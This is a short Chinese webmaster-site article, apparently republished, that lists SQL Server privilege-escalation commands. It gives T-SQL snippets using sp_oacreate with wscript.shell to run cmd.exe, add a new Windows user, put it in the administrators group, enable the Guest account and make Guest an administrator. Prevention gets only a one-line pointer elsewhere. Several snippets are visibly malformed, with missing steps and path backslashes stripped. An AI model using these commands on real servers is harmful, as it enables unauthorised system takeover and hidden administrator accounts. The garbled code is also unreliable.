加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 站长学院 > MsSql教程 > 正文

SQL Server SQL 提权 常用命令

发布时间:2020-12-12 07:52:59 所属栏目:MsSql教程 来源:网络整理
导读:感兴趣的小伙伴,下面一起跟随编程之家 jb51.cc的小编两巴掌来看看吧! 1、连接数据库 driver={SQL Server};server=服务器IP;uid=用户名;pwd=密码;database=数据库名 2、添加新用户 declare @shell int exec sp_oacreate wscript.shell,@shell output exec s

感兴趣的小伙伴,下面一起跟随编程之家 52php.cn的小编两巴掌来看看吧!

1、连接数据库
driver={SQL Server};server=服务器IP;uid=用户名;pwd=密码;database=数据库名
2、添加新用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c net user 新用户 密码 /add'
3、把用户加到管理组
declare @shell int exec sp_oacreate 'wscript.shell','c:windowssystem32cmd.exe /c net localgroup administrators 新用户 /add'
4、激活GUEST用户
declare @shell int exec sp_oacreate 'wscript.shell','c:windowssystem32cmd.exe /c net user guest /active:yes'
5、把Guest加到管理组
declare @shell int exec sp_oacreate 'wscript.shell','c:windowssystem32cmd.exe /c net localgroup Administrators Guest /add'
关于防范方法,可以参考编程之家 52php.cn服务器安全设置栏目。

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读